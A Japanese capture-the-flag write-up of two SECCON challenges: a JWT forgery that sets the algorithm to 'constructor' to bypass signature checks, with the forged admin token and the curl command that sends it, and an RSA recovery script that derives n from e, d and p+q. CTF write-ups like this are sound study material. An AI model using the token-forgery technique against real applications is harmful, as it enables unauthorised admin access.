今回はwebとcryptoを1問ずつ解くことができました。

web

Bad JWT

JWTの署名処理に問題があり、secret無しに検証を通るsignatureを作成できました。

const algorithms = {
	hs256: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
	hs512: (data, secret) => 
		base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}

const signature = algorithms[header.alg.toLowerCase()](data, secret);

signatureの作成時に、algorithmsオブジェクトのキーとしてJWTのalgをチェックせずそのまま使用しているため、javascriptのobjectに存在するメソッドを呼び出せる状態でした。(toLowerCaseしているのでメソッド名は全て小文字の物だけ呼び出す事ができます)

constructorを渡してやることでsingatureとしてdataの文字列が返るようにできます。

Header: '{"alg":"constructor","typ":"JWT"}'
Payload: '{"isAdmin":true}'
Signature: '{"alg":"constructor","typ":"JWT"}{"isAdmin":true}'

上記の3つの文字列を作成し、base64でencode、"."で連結してJWTを作成、Cookieのsessionに指定することでflagの取得ができました。

# JWT: eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ

curl --cookie "session=eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJhbGciOiJjb25zdHJ1Y3RvciIsInR5cCI6IkpXVCJ9eyJpc0FkbWluIjp0cnVlfQ" http://bad-jwt.seccon.games:3000

# flag: SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}

crypto

plai_n_rsa

nが不明で、e, d, c, hint(=p+q)が与えられていました。

n=になるように変形し、下記の式を用意しました。

n = (e*d - 1) / i + hint - 1

iは不明ですが、plain textの先頭は分かっているので復号して比較してみれば正しいか判別でき、下のコードを書いて調べました。

e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813


for i in range(3, 100000):
	if (e*d - 1) % i != 0:
        continue
    n = (e*d - 1) // i + hint - 1
    m = pow(c, d, n)
    plain = long_to_bytes(m)
    if plain.startswith(b"SECCON{"):
        print(plain)
        break

flagが見つかると出力されます。

b'SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}'